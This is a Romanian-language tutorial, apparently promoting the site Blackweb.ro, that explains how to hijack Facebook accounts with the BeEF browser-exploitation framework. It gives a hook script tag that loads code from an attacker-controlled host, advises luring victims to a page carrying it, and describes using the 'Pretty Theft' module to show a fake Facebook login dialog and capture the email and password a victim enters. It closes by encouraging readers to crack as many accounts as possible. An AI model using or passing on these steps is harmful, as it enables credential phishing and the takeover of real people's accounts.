Pasul 1: Instalăm Black|Web OS (dacă nu cumva am făcut deja lucrul acesta)

Primul lucru pe care îl avem de făcut este să descărcăm Black|Web. De ce? Pentru că nu putem face un asemenea hack pe sistemul de operare Windows. În Black|Web există un program numit Browser Exploitation Framework (BeEF). Programul este capabil să ne ajute să preluăm controlul browserului victimelor noastre. O dată ce avem controlul browser-ului, sunt foarte multe lucruri pe care le putem face. Unul dintre aceste lucruri este să-i păcălim să ne ofere datele conturilor facebook.

Pasul 2: Deschidem BeEF

Deschidem Black|Web și o să fim întâmpinați de acest screen. Pornim BeEF dând click pe iconița cu văcuța din partea stângă a desktop-ului.

O să fim întâmpinați de ,,ecranul de pornire”, să-i spun așa.

Cea mai simplă metodă este de a insera codul în propriul site și a scrie un articol interesant pentru victimă. Lucrul acesta se poate face prin inserarea unui link într-un text precum: Click aici pentru mai multe detalii sau Click aici pentru a vizualiza clip-ul. Folosiți-vă imaginația!

Scriptul arată ceva de genul:

<script src= “http://192.168.1.101:3000/hook.js&#8221 ; type= “text/javascript” ></script>

Pus într-o pagină web, iar atunci când cineva dă click pe el, tu deții controlul browser-ului. De aici, eu o să presupun că voi ați ,,agățat” browser-ul victimei.

Pasul 4: Trimitem o căsuță de dialog victimei

Atunci când am ,,agățat” browser-ul victimei, adresa IP, împreună cu pictogramele sistemului de operare și browser-ului ne va apărea în “Hooked Browsers” din partea stângă. Aici am utilizat browser-ul meu, pentru demonstrație. Chiar nu sunt atât de prost să fac o demonstrație utilizând o victimă, să le dau motiv ăstora să mă arunce la închisoare, pentru violarea corespondenței. Cât se mai dă? Între 3 și 5 ani?

Dacă dăm click pe browser-ul ,,agățat”, BeEF va deschide interfața în partea dreaptă. Observați că inițial avem detalii despre browser. Pe deasupra, mai avem câteva tab-uri. Momentan, pe noi ne interesează tab-ul ,,Commands”.

Dăm click pe tab-ul ,,Commands”, apoi dăm scroll down prin ,,Modules Tree” până ajungem la ,,Social Engineering” și dăm click pe acesta pentru a vedea mai multe detalii. Ni se vor arăta numeroase module dedicate ingineriei sociale. Dăm click pe ,,Pretty Theft”, care va deschide ,,Module Results History” și fereastra ,,Pretty Theft”

Acest modul ne permite să trimitem o fereastră pop-up în browser-ul victimei. În cazul nostru o să folosim căsuța de dialog Facebook.

Dacă dăm click pe ,,Dialog Type”, putem vedea că acest modul ne permite să mai creăm câte o căsuță de dialog și pentru LinkedIn, Windows, YouTube, Yammer, sau o căsuță de dialog generală. Selectăm ,,Facebook” în ,,Dialog Type”, apoi dăm click pe butonul ,,Execute”

Pasul 5: Căsuța de dialog apare pe sistemul victimei

Chiar dacă tu ești suspicios la vederea unui astfel de pop-up, cei mai mulți utilizatori chiar vor crede că sesiunea le-a expirat și vor introduce adresa de mail și parola.

Pasul 6: Adunăm datele

În interfața BeEF. putem vedea că aceste date apar în fereastra ,,COmmand results”. Victima a introdus adresa de mail și parola, iar acestea au fost capturate de BeEF.

Dacă sunteți cu adevărat determinați să spargeți cât mai multe conturi facebook, trebuie să știți că lucrul acesta nu este imposibil, iar ceea ce v-am prezentat este doar una din multele metode de a face lucrul acesta (probabil aceasta este ce mai simplă).

Dacă vrei să dezvolți abilitățile unui hacker cu adevărat competent, poți începe chiar acum, pe Blackweb.ro. Te asigur că vei căpăta cea mai prețioasă abilitate a secolului 21 – hacking-ul.